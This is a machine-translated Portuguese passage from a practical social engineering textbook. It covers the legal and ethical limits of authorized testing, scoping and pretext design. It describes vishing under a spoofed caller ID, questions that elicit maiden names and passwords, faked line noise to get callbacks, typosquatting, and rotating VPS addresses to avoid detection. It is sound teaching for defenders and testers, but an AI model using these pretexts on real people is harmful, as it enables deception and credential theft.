tecnologias específicas ou ocorrências de uma rotina
nome de usuário.

Entendendo as considerações legais


Quando se trata de realizar engenharia social, há duas considerações legais principais:
falsificação e gravação. Além dessas questões, um melhor

14 Capítulo 2
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

A prática para evitar problemas jurídicos é garantir que você esteja direcionando ativos de
propriedade de seu cliente, em vez de qualquer sistema BYOD (traga seu próprio dispositivo)
de propriedade de funcionários.
Alguns estados, como o Tennessee, têm leis que tornam ilegal a falsificação de
números de telefone. Se você estiver falsificando como uma emulação adversária autorizada
por contrato com a empresa cliente e se estiver visando apenas ativos de propriedade da
empresa, geralmente está claro. Quando se trata de gravar uma chamada, alguns estados
exigem que você tenha consentimento de duas partes, o que significa que você e a vítima
devem consentir, e outros exigem consentimento de uma única parte, o que significa que basta
você consentir. Se uma empresa pode servir como segunda parte do consentimento para
gravar seus funcionários em dispositivos de propriedade da empresa é uma área legal cinzenta.
A Tabela 2-1 lista os estados de duas partes. Se solicitado a gravar chamadas, consulte seu
advogado para obter mais esclarecimentos em seu local específico.

Tabela 2-1: Estados que exigem que ambas as partes concordem com a gravação de uma chamada telefônica

Estados bipartidários Notas

Califórnia

Connecticut Do ponto de vista dos casos criminais, é ilegal que alguém além do
remetente ou do destinatário grave a chamada. Do ponto de vista dos
casos civis, Connecticut é um estado de consentimento bipartidário.
Delaware

Flórida

Illinois Tem as leis mais confusas que regem o consentimento. É um estado de


consentimento de duas partes com concessões especiais para locais
públicos como tribunais. A lei se aplica a “comunicações eletrônicas
privadas”, que incluem mensagens enviadas por telefone, computador e
outros dispositivos de comunicação.

Maryland
Massachusetts

Montana

Nevada Por lei, Nevada é um estado de partido único, desde que a parte
registradora participe da comunicação. Mas com base em um precedente
estabelecido pela Suprema Corte de Nevada em Lane v. Allstate, você
deve tratar Nevada como um estado bipartidário.

Nova Hampshire

Oregon Quando se trata de gravar chamadas telefônicas, o Oregon é um


estado de partido único. Quando se trata de gravar comunicações
pessoais, o Oregon é um estado bipartidário.

Pensilvânia

Washington

Compreendendo as considerações de serviço

Você também pode ter problemas se violar os termos de uso de um serviço. Em 2019,
Mike Felch, da Black Hills Information Security, publicou um par de

Considerações Éticas em Engenharia Social 15


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

postagens de blog sobre como selecionar os serviços de software a serem usados ao phishing.
Intitulado “How to Purge Google and Start Over” partes 1 e 2, esses blogs discutem sua experiência
usando o G Suite (a plataforma de produtividade do Google agora chamada de Google Workspace)
como alvo e ferramenta de ataque. Felch explica como ele comprometeu as credenciais e usou o
CredSniper para contornar a autenticação multifator.

É aí que a história toma um rumo interessante. Ele foi detectado pelo cliente Security
Operations Center (SOC) e pelo SOC do Google. Como um subproduto, o Google não apenas
tomou medidas para desativar a conta que ele estava usando, mas também (presumivelmente
através do uso de algum OSINT e seus próprios algoritmos de detecção) começou a bloquear ele e
sua esposa fora de outras contas não relacionadas aos serviços do Google que eles usaram. A
moral da história é garantir que você coordene com quaisquer outros provedores que o cliente possa
usar antes do compromisso para garantir que você não fique bloqueado de tudo, incluindo, como no
caso de Mike, seu termostato.

Debriefing após o noivado


Depois de executar as operações de engenharia social, é importante informar a organização e os
funcionários visados. O debriefing envolve tornar as vítimas cientes das técnicas que você usou e das
informações que você coletou, em um sentido amplo. Você não precisa contar a toda a organização
que Jane, do departamento financeiro, usa o nome do marido, John, como senha, ou que Madison está
tendo problemas com o tio. Mantenha o relatório que você dá a seus clientes anônimo e deixe de fora
os detalhes; diga-lhes simplesmente que você descobriu que alguns

funcionários estavam usando os nomes de seus cônjuges como senhas ou que você descobriu
facilmente informações sobre seus relacionamentos pessoais.
Uma maneira de lidar com essa questão ética é manter uma lista daqueles que
foram vítimas do noivado e como eles falharam na avaliação, enquanto ainda redigiam seus
nomes do relatório. Se o seu ponto de contato na organização solicitar essas informações, você
poderá fornecer nomes, desde que a empresa concorde em não demitir o funcionário. Essa negociação
às vezes pode ser uma cláusula utilizada em contratos entre engenheiros sociais e seus clientes. Se a
empresa não está treinando seus funcionários, não é justo demiti-los por falhas de segurança. Por
outro lado, seu relatório deve nomear as pessoas que impediram o sucesso do engajamento. Essas
pessoas agiram ativamente para proteger a organização e devem ser reconhecidas e recompensadas.

Do ponto de vista organizacional, a administração deve informar aos funcionários que a


própria empresa não os bisbilhotou. Em vez disso, deve ficar claro que a empresa pagou alguém
para bisbilhotar e, em seguida, filtrou os dados para obter informações relevantes apenas para o
negócio, para manter a vida pessoal dos funcionários privada. Além disso, a organização deve usar o
relatório que você fornece a eles, junto com recomendações e cenários de exemplo, para treinar os
funcionários para que eles fiquem mais seguros.

Ao fazer apresentações em conferências como DerbyCon, Hacker Halted e vários eventos


Security BSides, sigo as mesmas regras que faço ao relatar. Nunca se sabe se uma das pessoas que
foram vítimas do ataque

16 Capítulo 2
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

está na sala, então evite envergonhar as pessoas publicamente. Elogie em público e repita
em particular. Inspire as pessoas a serem mais vigilantes e relate os problemas às
pessoas apropriadas.

Estudo de caso: engenharia social levada longe demais


Em 2012, enquanto estava grávida do príncipe George de Cambridge, a duquesa Kate
Middleton foi hospitalizada por causa de enjoos matinais extremos. O público e a mídia
logo descobriram, e às 5h30, uma dupla de DJs de um programa de rádio australiano
chamado hospital, se passando por Rainha da Inglaterra e Príncipe Charles. Os anfitriões
imitaram seus sotaques e solicitaram uma atualização sobre Middleton. A enfermeira que
trabalhava na recepção atendeu o telefone. Acreditando que a ligação era legítima, ela os
encaminhou para a enfermeira pessoal de Middleton, que forneceu vários detalhes de sua
condição.
Os DJs gravaram a chamada e a colocaram no ar. O programa chamou a atenção
internacional. Antes que o hospital pudesse tomar qualquer ação, a enfermeira foi encontrada
morta em um aparente suicídio. O príncipe William e a duquesa Kate divulgaram um
comunicado sobre sua profunda tristeza pelo incidente e oferecendo condolências às
pessoas próximas à enfermeira.
Este é um exemplo de engenharia social que foi longe demais. Pegadinhas são
pegadinhas, mas em algum momento durante a ligação, os brincalhões deveriam ter se
revelado. Eles também não deveriam ter divulgado publicamente as acrobacias para um
grande público. O programa de rádio parece ter sido cancelado e as contas do Twitter do
programa e dos apresentadores parecem ter sido excluídas. Os anfitriões emitiram um
pedido público formal de desculpas - tarde demais após uma tragédia evitável.
Embora essa ação seja mais uma brincadeira de mau gosto do que um ataque, o
incidente se encaixa na definição de manipulação da APA, porque os DJs não estavam
agindo pensando nos melhores interesses da vítima. Se eles não tivessem transmitido a
ligação, sua ação poderia estar mais próxima da influência, embora a melhor solução fosse
não fazer a ligação em primeiro lugar.

Coleta OSINT ética


Agora que estabeleci os limites legais e éticos para a engenharia social, devemos fazer
o mesmo para OSINT. Muitas das mesmas considerações entram em jogo, mas as
apostas são geralmente menores, porque embora as informações que você encontra por
meio da coleta OSINT possam afetar o bem-estar de seus alvos, você não está interagindo
com eles diretamente. Ainda assim, isso não significa que você deva coletar todos os dados
existentes em cada alvo.

Proteção de dados
Você deve avaliar por quanto tempo reter os dados coletados, como destruir os dados, que
valor atribuir aos dados, qual seria o resultado da perda dos dados e como alguém poderia
tentar comprometer os dados.
A perícia digital e a aplicação da lei geralmente dependem do conceito de cadeia
de custódia ao lidar com dados. A cadeia de custódia busca

Considerações Éticas em Engenharia Social 17


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

preservar em um estado seguro todas as evidências coletadas, desde o momento da


coleta até o descarte. Isso requer manter todas as evidências em um local seguro e
controlado, como um armário de evidências, como você deve ter visto em programas
policiais na TV. A pessoa que acessa a evidência tem que demonstrar uma necessidade
legítima e assinar a evidência e, em seguida, devolvê-la, para prestação de contas.
Digitalmente, impor uma cadeia de custódia é um pouco mais difícil, mas é
possível realizá-la se você tomar certas precauções. A primeira é praticar uma boa
higiene de segurança, que discutiremos a seguir. Para cada investigação, você precisa
de uma máquina virtual dedicada que usará exclusivamente para esse envolvimento.
A máquina precisa ser criptografada com uma senha forte. Depois de concluir a
investigação, determine os requisitos de retenção. Armazene os arquivos que compõem
a máquina virtual em um disco. Um CD ou DVD pode ser grande o suficiente ou você
pode precisar de uma unidade maior, como um pen drive USB ou disco rígido externo.
Como uma camada adicional de segurança, você pode criptografar a própria unidade e
armazená-la com segurança, desconectada de qualquer computador, com algum tipo de
controle de acesso físico, como cadeado e chave.
A higiene digital nada mais é do que a aplicação consistente de segurança
práticas recomendadas de ridade. Tenha uma forma de proteção contra malware
em seus dispositivos e não reutilize senhas (e use senhas fortes). Você também deve
configurar um gerenciador de senhas e autenticação multifator em todas as
oportunidades. Esta é apenas a ponta do iceberg, mas essas etapas podem ajudar a
garantir que ninguém questione a integridade de seus dados, especialmente se o
OSINT que você está coletando for para litígio.
Para atribuir valor aos dados, considere os danos que podem ser causados à
empresa ou pessoa com eles. Nunca coleciono CPF, mas se o fizesse, daria a eles
um valor muito alto. Se eu coletar um nome ou um e-mail junto com uma senha,
atribuirei a eles o nível mais alto possível. Encontrar essas informações indica que uma
organização ou funcionário sofreu uma violação e que você deve ter o devido cuidado.
Dito isso, se a organização puder demonstrar que o usuário em questão está
tecnicamente proibido de usar a senha em questão, você poderá reduzir a descoberta a
um nível de gravidade baixo ou informativo. Apenas uma senha sem uma pessoa
vinculada a ela também terá um valor menor, embora você possa usá-la em um ataque
de pulverização de senha na empresa. (Na pulverização de senha, um adversário usa
uma única senha na tentativa de forçar várias contas, como usar uma senha padrão em
todas as contas observadas.)

Em resumo, proteja seus dados confidenciais minimizando o acesso ao sistema


no qual estão armazenados, mantendo-os corrigidos e atualizados, desativando
serviços desnecessários, empregando senhas fortes e usando autenticação multifator
quando puder. Criptografe os dados sempre que possível também.
Mesmo que alguém comprometa os dados, será inútil para eles se não conseguirem
quebrar a chave de criptografia.

Seguir Leis e Regulamentos


Esta seção aborda possíveis considerações legais para coletar OSINT.
Embora o GDPR seja a principal lei que afeta a OSINT, outros países, estados e
jurisdições promulgaram leis semelhantes associadas à perda de

18 Capítulo 2
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

informações pessoais como resultado de uma violação de dados. A coleta de OSINT não é uma violação
de dados em si, mas como nenhum precedente legal ainda estabeleceu o resultado do GDPR e leis
semelhantes quando aplicadas a OSINT, você deve tratar essas leis como relevantes para suas atividades.

Regulamento Geral de Proteção de Dados

A partir de 25 de maio de 2018, o GDPR regulamenta o que você pode fazer com dados pertencentes a
cidadãos da UE. O regulamento visa proteger os cidadãos e residentes da UE relativamente à recolha e
utilização dos seus dados. Em essência, ele empoderou os cidadãos e residentes da UE como consumidores
para assumir o controle dos dados coletados deles e sobre eles. Depois que o GDPR foi aprovado em 2016,
as empresas tiveram dois anos para se tornarem compatíveis. 25 de maio de 2018 foi a data em que todas
as empresas, globalmente, tiveram que estar em conformidade com o GDPR. Uma empresa que violar o
GDPR pode enfrentar multas de 4% de sua receita anual global. Isso deve fornecer um incentivo para
proteger qualquer informação coletada sobre cidadãos da UE (na UE e no exterior) e pessoas que visitam a
UE.

O principal impacto do GDPR na engenharia social e no OSINT é que ele oferece às pessoas a
capacidade de limitar a coleta de outras informações pessoais (PI) e informações pessoais confidenciais
(SPI), o que, por sua vez, reduz a superfície de ataque do OSINT. Além disso, cria penalidades para
empresas que coletam e armazenam PI e SPI pertencentes a cidadãos da UE se esses dados forem
violados e as informações forem disponibilizadas ao público.

Outra disposição importante do GDPR é o direito de ser esquecido. este


A provisão permite que cidadãos particulares consultem as informações que um proprietário ou
processador de dados detém sobre eles, além de uma solicitação de remoção oportuna de seu PI ou SPI.

Coletando dados como aplicação da lei

Se você estiver na aplicação da lei (federal, estadual, municipal ou outra) ou um investigador particular
licenciado, códigos específicos de ética e precedentes legais orientam os parâmetros pelos quais você
pode coletar e usar o OSINT. Revise todas as leis aplicáveis ou consulte um advogado antes de se envolver
em qualquer operação de coleta OSINT.

A American Civil Liberties Union (ACLU) publicou um documento em 2012 alertando sobre a
ladeira escorregadia associada ao uso de big data e outras técnicas, incluindo OSINT, para tentar
identificar criminosos em potencial antes que eles ajam. A ACLU discutiu a prática de coletar dados em
massa de agências de aplicação da lei sobre pessoas e, em seguida, usá-los para implicá-los em crimes
que podem não ter cometido, geralmente usando ciência de dados para fazer previsões. Jay Stanley, o autor
do artigo da ACLU, afirma que tal coleta e análise irão encorajar mais coletas, com ou sem justa causa. Isso
pode fazer com que as pessoas entrem no sistema de justiça criminal sem o devido processo legal.

Coletando Dados como Cidadãos Privados

Cidadãos comuns: você ainda não está fora de perigo. Alguns países e áreas têm leis que regem a
coleta OSINT para todos os cidadãos, mesmo fora da lei

Considerações Éticas em Engenharia Social 19


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

execução. Por exemplo, no estado da Carolina do Sul, você deve ser um investigador
particular licenciado para que a pesquisa forense digital seja admissível no tribunal. A pesquisa
forense digital inclui qualquer coisa obtida da análise de um sistema de computador, seja o
disco rígido ou a rede.
Resumindo: você é responsável por conhecer as leis nas áreas onde você e seu
alvo estão localizados. Antes de praticar qualquer cobrança OSINT, é melhor que você
consulte um advogado em sua área com conhecimento específico de leis cibernéticas
relacionadas a negócios e consultoria, apenas por segurança.

Estudo de Caso: Limites Éticos da Engenharia Social


O cenário a seguir ocorreu quando eu era um consultor que auxiliava uma equipe de teste
de penetração em uma organização. Eu deveria vislumbrar até 25 alvos e escrever um relatório
sobre as ligações. A empresa não me forneceu pretexto para usar. (Alguns clientes gostam de
fornecer um, embora eu prefira criar meu próprio cenário, para garantir que os funcionários
não sejam informados preventivamente.)

Fingi conduzir uma pesquisa de transparência organizacional, algo que inventei para
me permitir fazer perguntas bastante intrusivas às vítimas sob a suposta autoridade do
CEO. Em vez de encontrar números de telefone via OSINT, a organização me forneceu uma
lista de números, sem nomes ou departamentos. Como ligar cegamente para um número
normalmente não leva ao sucesso, precisei fazer mais pesquisas. Dos números de telefone,
um era do despacho da polícia e os outros dois eram números de telefone do tribunal local.
Falei com meu gerente sobre isso e decidimos passar a vistá-los fora de

Cuidado.
Para fazer as ligações, falsifiquei meu número para refletir um número de telefone da
Nielsen, uma empresa que realiza pesquisas para outras organizações. Afirmei que estava
realizando uma pesquisa autorizada pelo chefe da organização-alvo para verificar o quanto os
funcionários sabiam sobre o local de trabalho e outros departamentos da organização. Eu fiz
um conjunto de perguntas semelhantes a estas:

1. Há quanto tempo você é funcionário?


2. Você tem acesso à internet sem fio? Em caso afirmativo, qual é o nome da rede ou Service
Set Identifier (SSID)?

3. Você tem máquinas de venda automática?


4. Em que tipo de computador você está? Sistema operacional?
5. Qual marca e tipo de antivírus você usa?
6. Quem é seu zelador?
7. Qual era o nome de sua mãe antes de se casar?
8. Você pode fornecer um exemplo de uma senha anterior ou atual que
você usa?

Como mitigações, não gravei as ligações e as conduzi em local privativo. Depois de


algum tempo, algumas pessoas me deram o nome de solteira de suas mães, mas ninguém
havia me dado nenhuma senha ainda.

20 Capítulo 2
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Em seguida, liguei para um número de obras públicas. Uma simpática senhora de 60 anos atendeu.
Trocamos gentilezas e expliquei a pesquisa. Ela concordou em ajudar tanto quanto podia, mas me disse
que não era muito experiente em tecnologia.
"Nem eu", eu disse. “Estou fazendo esse trabalho em meio período enquanto estudo psicologia
no ACME Community College.” Nós compartilhamos uma risada e comecei a pesquisa.

Percorri a lista. Ela respondeu às seis primeiras perguntas, mas quando perguntei o nome da mãe
dela antes de se casar, ela me disse que eu estava pedindo uma pergunta de redefinição de senha, que
ela realmente não deveria contar a ninguém.
Eu concordei em seguir em frente, dizendo a ela que nem sempre gostava das perguntas que tinha que
fazer. Eu a lembrei que ela sempre poderia dizer não a uma pergunta. Quando pedi uma senha que ela
usava com frequência, ela hesitou, depois suspirou e me disse “leitelho”.

"Soro de leite coalhado?" Eu repeti.


Para construir um relacionamento com ela, compartilhei uma história verdadeira sobre como,
quando criança, eu gostava de comer pão de milho esfarelado com leitelho com meu falecido avô.

A mulher começou a soluçar. Quando perguntei se ela estava bem, ela me disse que pão de milho
com leitelho era a refeição favorita de seu falecido marido. Eu imediatamente me senti para baixo. Ela me

disse que o próximo Dia de Ação de Graças seria o aniversário dele e que ela o havia perdido cerca de
três anos antes, para o câncer.
O que você deve fazer em cenários como este? Optei por permanecer no personagem, mas
conversei com ela até ter certeza de que ela havia retornado a um bom lugar mentalmente. Teria sido
antiético desligar a ligação e seguir em frente. Relembramos nossos familiares falecidos, as pessoas em
sua área, o clima e outros assuntos de conversa fiada.

Antes de desligar, perguntei se ela estava bem. Depois que desliguei,


Falei com o líder da prática, repeti a história e disse a ele que preferia não fazer mais ligações naquele
dia. Ele concordou, então mudei para outro projeto que não envolvia ligar para as pessoas.

Principais conclusões:

•Sempre permita que as pessoas desistam do noivado. Você pode tentar influenciá-los a continuar, mas
não exagere. Se eles disserem não, siga em frente. Se você se sentir confiante, pergunte novamente
mais tarde, mas se eles disserem não novamente, desista. Ser enérgico não ajudará sua causa.

•Ao fazer perguntas delicadas, certifique-se de estar em um local tranquilo e seguro. Evite gravar a
chamada se fizer essas perguntas.

• Se você tiver indícios de que irritou alguém, reserve um tempo para interrogá-lo ou trazê-lo de volta a
um local estável, dependendo do que for apropriado para sua campanha.

•Comunique-se com sua gerência se você acabar em uma situação como a minha. Eles devem estar
cientes de que ocorreu um incidente caso o tar get os contate, mas também devem saber sobre
seu estado mental e qualquer coisa que possa afetar seu desempenho.

Considerações Éticas em Engenharia Social 21


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Conclusão
A engenharia social e o OSINT têm implicações para as pessoas associadas
ao trabalho, mesmo fora do local de trabalho. Nesse aspecto, é diferente do
teste de penetração convencional, que na maioria das vezes permite que as
vítimas saiam do trabalho. Ao realizar esses compromissos, tenha o devido
cuidado e diligência para garantir que a pessoa visada não sofra estresse
psicológico adverso ou seja prejudicada de outra forma. A melhor maneira de
fazer isso é definir limites específicos, como os descritos neste capítulo. Caso
contrário, meu melhor conselho para os praticantes é confiar em seu instinto.
Não hesite em entrar em contato com o advogado ao trabalhar com clientes
internacionais. Se o que você está fazendo com uma vítima do noivado é algo
que o aborrece, é provável que você não deva estar fazendo isso.

22 Capítulo 2
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

PARTE II
OFENSIVASOCIAL
ENGENHARIA
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

3
PREPARANDO-SE PARA UMA ATAQUE
As mentiras mais escandalosas que podem ser inventadas encontrarão
crentes se um homem apenas as contar com todas as suas forças.
—Mark Twain, carta ao jornal Alta California , São
Francisco, 1867

Realizar um ataque de engenharia social cria


uma corrida como nenhuma outra. Mas antes de nós
executar esses ataques, precisamos definir um
processo para completá-los. Se não o fizermos,
podemos ter problemas legais, ou pior, podemos prejudicar a
saúde mental de nossos alvos. É aqui que entram os frameworks.

Este capítulo irá apresentá-lo a um processo de coordenação com


seu cliente para determinar (e cumprir) o escopo de um compromisso.
Também abordaremos dois processos relevantes para a execução de OSINT e
engenharia social — a estrutura de engenharia social e o loop OSINT OODA
(Observe-Orient-Decide-Act) — e discutiremos os sistemas operacionais que você
pode usar para fazer isso.
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Coordenação com o Cliente


O primeiro passo para se preparar para um ataque é coordenar com o cliente, seja ele um
cliente pagante, seu gerente ou outra equipe dentro de sua empresa. Mesmo depois de concluir
o processo inicial de definição do escopo, não hesite em fazer perguntas relevantes para a
execução do trabalho. Seu registro criminal e meios de subsistência podem estar em jogo,
portanto, certifique-se de saber explicitamente o que você pode e o que não pode fazer.

Escopo
Na fase de definição do escopo , você deve trabalhar com o cliente para determinar exatamente
como seu engajamento funcionará. Isso inclui descobrir quem será seu ponto de contato, bem
como considerações de tempo (como o número de horas orçadas para o compromisso; a hora do
dia, semana ou mês em que realizará o teste; e períodos de blecaute em que você não está
autorizado a testar). Você também deve discutir considerações legais, certificando-se de que o
contrato inclua uma linguagem que o proteja de questões legais. É por isso que é prudente
contratar um advogado. Você precisa de palavreado que irá protegê-lo de atos de Deus, desastres
naturais e outras circunstâncias imprevistas. Por fim, discuta o tamanho do seu envolvimento,
como o número de chamadas a serem feitas ou alvos de e-mail.

Você e seu cliente devem documentar os resultados da fase de definição do escopo na


declaração de trabalho (SOW), a parte do contrato que especifica o que você está explicitamente
autorizado e não autorizado a fazer no trabalho. Certifique-se de que o SOW delineie as regras
apropriadas de engajamento. Deve detalhar quaisquer pretextos restritos ou solicitados,
endereços de e-mail de origem, endereços IP de origem ou destino e outras restrições ou
solicitações relevantes para o engajamento.
Além disso, certifique-se de que o contrato e o SOW o mencionem pelo nome. É melhor nomear
todos os testadores, se possível, e qualquer empresa para a qual você trabalha.
Ao definir o escopo, certifique-se de que seu envolvimento de engenharia social atenda
certos requisitos. Entre outras questões, certifique-se de que você possui a devida
autorização e proteção legal para realizar engenharia social, e que a pessoa que assina o
contrato está autorizada a lhe conceder permissão para realizar tais atividades. Se você for um
funcionário interno realizando testes, obtenha autorização por escrito. Certifique-se de ter um
seguro adequado contra erros e omissões (E&O) para se proteger legalmente. Também
chamado de seguro de responsabilidade profissional (PII) ou seguro de responsabilidade
profissional (PLI), o seguro E&O destina-se a protegê-lo do custo total da defesa contra uma
reclamação por negligência em um tribunal civil.

A fase de definição do escopo define o tom para todo o engajamento. A falha no escopo
adequado pode causar muita dor de cabeça para ambas as partes. Isso pode complicar o
compromisso desnecessariamente, fazendo com que você passe mais tempo ao telefone
posteriormente ou execute o trabalho de maneira inadequada. Também pode causar danos à
reputação de você como profissional, se a empresa para a qual você trabalha o considerar pouco
profissional. Para um processo repetível, consulte a planilha de escopo no Apêndice A, que pode
ajudá-lo a fazer as perguntas apropriadas para garantir que você tenha todas as informações
necessárias.

26 Capítulo 3
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Definindo Objetivos
Depois de assinar um contrato e criar um SOW, discuta os objetivos do compromisso
com seu cliente. Esse teste será usado para justificar a adição de defesas aos negócios,
como novos produtos ou tecnologias?
Será usado para avaliar os requisitos de capital humano? O teste é apenas uma
forma de atender aos requisitos de conformidade? Ou o cliente o usará para avaliar a
equipe de segurança (por exemplo, como parte de uma avaliação de desempenho ou
para determinar aumentos)? As respostas a essas perguntas não devem afetar o
desempenho de seu engajamento, mas devem ajudá-lo a entender o que esperar e
como estruturar suas comunicações.

Definindo Métodos
Os métodos que você usa são uma consideração crítica para o seu engajamento. Você
será um erro de digitação ou invasão de domínio? Em outras palavras, você usará um
domínio semelhante ao do cliente que contém um erro tipográfico (uma estratégia
especialmente eficaz se a ortografia correta se prestar a erros ortográficos) ou comprará
um domínio disponível com o mesmo nome e nomes diferentes domínio de nível (como
nostarch.us em vez do legítimo nostarch.com)? Você se passará por um fornecedor,
cliente ou parceiro? Você atrairá downloads de documentos maliciosos ou apenas
coletará credenciais? Você vai encadear um vish e phish juntos? O cliente quer que você
use uma solução automatizada ou você deve ir um pouco mais manual, como discutiremos
no Capítulo 7?
Entender as tecnologias que seu cliente utiliza e os vetores que você está
mirando serão fatores essenciais para o sucesso do engajamento.
Para ir além, descubra se você pode enumerar a tecnologia da empresa publicamente
e, em seguida, faça você mesmo antes do compromisso. Essa abordagem realiza duas
coisas: fornece ao cliente um método para detectar e possivelmente atribuir quaisquer
ataques e valida que o cliente implementou adequadamente suas tecnologias. A última
conquista pode agregar valor ao seu cliente.

Construindo pretextos de sucesso


Ao construir seus pretextos, tente encontrar eventos atuais no ambiente de seu alvo
que possam ser aproveitados contra eles. Você pode alegar estar com o provedor
de nuvem ou e-mail da organização de destino e solicitar informações adicionais
devido a um “incidente de segurança”. Você pode dar uma olhada nas páginas e grupos
de mídia social locais para reunir OSINT adicionais sobre esses eventos. O Facebook e
o Twitter são ótimos recursos para encontrar e enumerar essas informações,
especialmente se uma hashtag estiver associada ao evento.

Se tiver tempo, pegue alguns exemplares dos jornais locais. Se você


estão perto o suficiente, dê um passeio pela cidade e procure por quaisquer panfletos
ou banners anunciando tais eventos. Existe um interesse ou objetivo comum entre os
alvos? Algum dos funcionários gosta de caminhadas, corridas, corridas de obstáculos como

Preparando-se para um Ataque 27


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Triatlos Spartan Race e Tough Mudder, ou Iron Man/Woman? A organização tem um time de
boliche ou softball? Se sim, em quais ligas eles estão e onde jogam? Contra quem eles jogam?

As considerações mencionadas aqui separarão seu ataque de phishing dos casuais,


tornando-o uma ameaça em nível de estado-nação. Reservar um tempo para entender seus
alvos e seus arredores melhorará tremendamente sua taxa de sucesso, mas certifique-se de
passar o valor para seus clientes compartilhando essas dicas em seu relatório, bem como em
qualquer treinamento que você conduzir com base em seus resultados.

Com base nas informações coletadas, construa seus cenários e pré-textos. Apresente
os três a cinco principais ao cliente e deixe-os escolher qual deles deseja que você use. Se
possível, confirme um período de tempo para realizar seu ataque, mas não um horário exato.
Isso mantém seus clientes em alerta e oferece um elemento surpresa.

Embora nenhum cliente deva informar os funcionários sobre os cenários que você escolher,
Eu encontrei o que parece ser apenas isso. Na contratação em questão, o cliente limitou os
possíveis pretextos e cenários, e então prescreveu o horário exato em que eu poderia enviar
e-mails de phishing e fazer chamadas de vishing. A ressalva: se me dissessem para ligar de
volta por qualquer motivo, eu poderia fazê-lo sem mais consentimento.

Felizmente, explorei essa advertência a meu favor. Quando liguei, criei muitos ruídos
de fundo muito altos e interrupções falsas. Entre o barulho e o “corte do telefone”, consegui fazer
com que cerca de dois terços das pessoas para quem liguei me pedissem para ligar de volta.
Como eu os chamei de volta do lado de fora da janela designada, seus guardas baixaram e eles
foram mais receptivos do que provavelmente teriam sido durante o período de chamada prescrito.

Usando Sistemas Operacionais Especializados para Engenharia Social


Parte de ser um engenheiro social profissional ou coletor OSINT é ter a ferramenta certa para
o trabalho. Kali - uma distribuição Linux projetada para testes de penetração e criada e mantida
pela Offensive Security - vem com ferramentas como Social-Engineer Toolkit (SET),
theHarvester, Ghost Phisher, Maltego e Recon-ng. Discutiremos essas ferramentas com mais
detalhes nos capítulos seguintes. O Kali e as ferramentas que ele acompanha são mais eficazes
quando usados como parte de um teste de penetração ou um envolvimento envolvendo
engenharia social geral sem coleta extrema de OSINT, embora também seja possível realizar
investigações avançadas de OSINT usando o Kali.

Além disso, o Trace Labs canadense sem fins lucrativos criou e mantém ativamente um
fork do Kali Linux (com a bênção e assistência da Offensive Security) que é projetado para ajudar
nas investigações do OSINT, especificamente em suas competições de Search Party usando
OSINT para encontrar pessoas desaparecidas. A máquina virtual (VM) pré-configurada da Trace
Labs possui uma variedade de ferramentas para investigações OSINT com foco em empresas e
pessoas. Está disponível para download gratuito em https:// www.tracelabs.org/ trace-labs-osint-
vm/.

28 Capítulo 3
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Usar um sistema operacional e configuração menos comum também tem


vantagens. Especificamente, isso permite que você ajuste seu ambiente de acordo com
suas preferências e níveis de conforto. Se estou fazendo o reconhecimento de um alvo
que pode me detectar e me reportar, não quero usar minha rede doméstica ou de
trabalho, mesmo em uma VPN que possa ser comprometida. Em vez disso, além das
versões Offensive Security e Trace Labs do Kali, eu uso um sistema Ubuntu rodando em
uma instância de servidor virtual privado (VPS) em nuvem, onde instalei um conjunto
personalizado de ferramentas, incluindo SpiderFoot, Recon-ng, Metasploit, Metagoofil,
theHarvester e alguns scripts e utilitários menos conhecidos que modifiquei. O VPS tem
seu próprio endereço IP independente, e posso gerar novas instâncias dele com novos
endereços IP para evitar a detecção. (Eu criei e arquivei uma imagem do sistema Ubuntu,
então posso gerar novas cópias quantas vezes for necessário.) Também posso aumentar
a segurança do VPS fortalecendo-o - removendo serviços ou aplicativos desnecessários,
fechando portas não utilizadas , e aplicando uma configuração segura ao sistema—

e use uma ou mais VPNs para se conectar a ele. Veremos uma configuração de
infraestrutura para phishing no Capítulo 7.
Algumas ferramentas também funcionam no Windows. Algumas são ferramentas
baseadas na web (por exemplo, Netcraft, Hacker Target e OSINT Framework) que
você acessa principalmente de um navegador da web. Fazer isso em um Mac ou PC
pode ser mais conveniente do que no Linux. Ainda assim, entenda que é mais provável
que você seja pego se usar seu sistema pessoal ou mesmo um sistema de trabalho para
conduzir essas operações. Contanto que você tenha a permissão adequada para fazer
esses tipos de envolvimento, os piores cenários são (a) ser bloqueado e (b) ter seu
endereço IP adicionado a um feed de inteligência de ameaças (uma lista coletiva de
entidades maliciosas ou traços com atividades maliciosas ou arquivos como endereço de
e-mail, endereço IP, hash de arquivo ou domínio), o que significa que seus clientes ou
alvos em potencial podem ser avisados de que o IP que você está usando é considerado
“malicioso”. Usar um VPS para atacar permite que você use a configuração apenas uma
vez e depois a destrua.

Seguindo as Fases de Ataque


Todos os hackers éticos normalmente seguem um processo de ataque definido para
garantir que coletem todas as informações de que precisam. Esse processo geralmente
tem as seguintes etapas: reconhecimento, varredura e enumeração, obtenção de
acesso, manutenção do acesso, limpeza de rastros e geração de relatórios. Você pode
ler mais sobre essas fases em https:// www.cybrary.it/ blog/ 2015/05/ summarizing-the-
five phase-of-penetration-testing/. No entanto, quando se trata de engenharia social, faz
sentido definir um processo de ataque ligeiramente diferente a seguir. O processo de
engenharia social na Figura 3-1 adapta o processo de teste de penetração para padronizar
a engenharia social.

Preparando-se para um Ataque 29


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Comunicando Escopo

Medição Reconhecimento

Detecção Design e
aprovação

Implementação

Figura 3-1: O processo de engenharia social

